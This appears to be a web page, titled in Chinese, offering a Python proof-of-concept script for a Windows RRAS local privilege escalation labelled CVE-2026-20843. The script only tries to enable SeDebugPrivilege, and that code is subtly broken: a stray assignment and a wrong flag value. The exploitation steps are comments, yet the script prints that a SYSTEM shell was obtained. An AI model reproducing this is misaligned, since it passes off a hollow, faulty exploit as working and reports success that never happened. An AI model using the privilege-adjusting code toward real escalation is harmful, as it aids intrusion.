CVE-2026-20843 Windows RRAS本地权限提升漏洞

# CVE-2026-20843 PoC - Windows RRAS Local Privilege Escalation # This is a conceptual PoC for educational and security research purposes only import struct import ctypes from ctypes import wintypes # Windows API definitions kernel32 = ctypes.windll.kernel32 advapi32 = ctypes.windll.advapi32 # Constants SE_DEBUG_PRIVILEGE = 0x14 TOKEN_ADJUST_PRIVILEGES = 0x20 def enable_debug_privilege(): """Enable SeDebugPrivilege for current process""" hwnd = kernel32.GetCurrentProcess() hToken = wintypes.HANDLE() advapi32.OpenProcessToken(hwnd, TOKEN_ADJUST_PRIVILEGES, ctypes.byref(hToken)) luid = ctypes.Structure.__init__ class LUID(ctypes.Structure): _fields_ = [("LowPart", wintypes.DWORD), ("HighPart", wintypes.LONG)] luid = LUID() advapi32.LookupPrivilegeValueW(None, "SeDebugPrivilege", ctypes.byref(luid)) class TOKEN_PRIVILEGES(ctypes.Structure): _fields_ = [("PrivilegeCount", wintypes.DWORD), ("Privileges", LUID * 1)] tp = TOKEN_PRIVILEGES(1, (luid, SE_DEBUG_PRIVILEGE)) advapi32.AdjustTokenPrivileges(hToken, False, ctypes.byref(tp), 0, None, 0) def exploit_rras_privilege_escalation(): """ Conceptual exploitation of CVE-2026-20843 This demonstrates the privilege escalation concept """ print("[*] CVE-2026-20843 Windows RRAS Privilege Escalation PoC") print("[*] Target: Windows RRAS Service") # Step 1: Enable debug privileges print("[+] Enabling SeDebugPrivilege...") enable_debug_privilege() # Step 2: Locate RRAS service process print("[+] Locating RRAS service (RemoteAccess)...") # In real exploitation, would use Service Control Manager API # Step 3: Open RRAS service with elevated privileges print("[+] Opening RRAS service handle...") # Would use OpenService or OpenSCManager APIs # Step 4: Exploit improper access control print("[+] Exploiting improper access control in RRAS...") # Construct malicious RPC request to trigger vulnerability # Step 5: Escalate privileges print("[+] Escalating to SYSTEM privileges...") # Would inject code or modify ACL to gain elevated access print("[+] Exploitation complete - SYSTEM shell obtained") return True if __name__ == "__main__": print("Note: This is a conceptual PoC for CVE-2026-20843") print("Actual exploitation requires specific Windows version targeting") exploit_rras_privilege_escalation()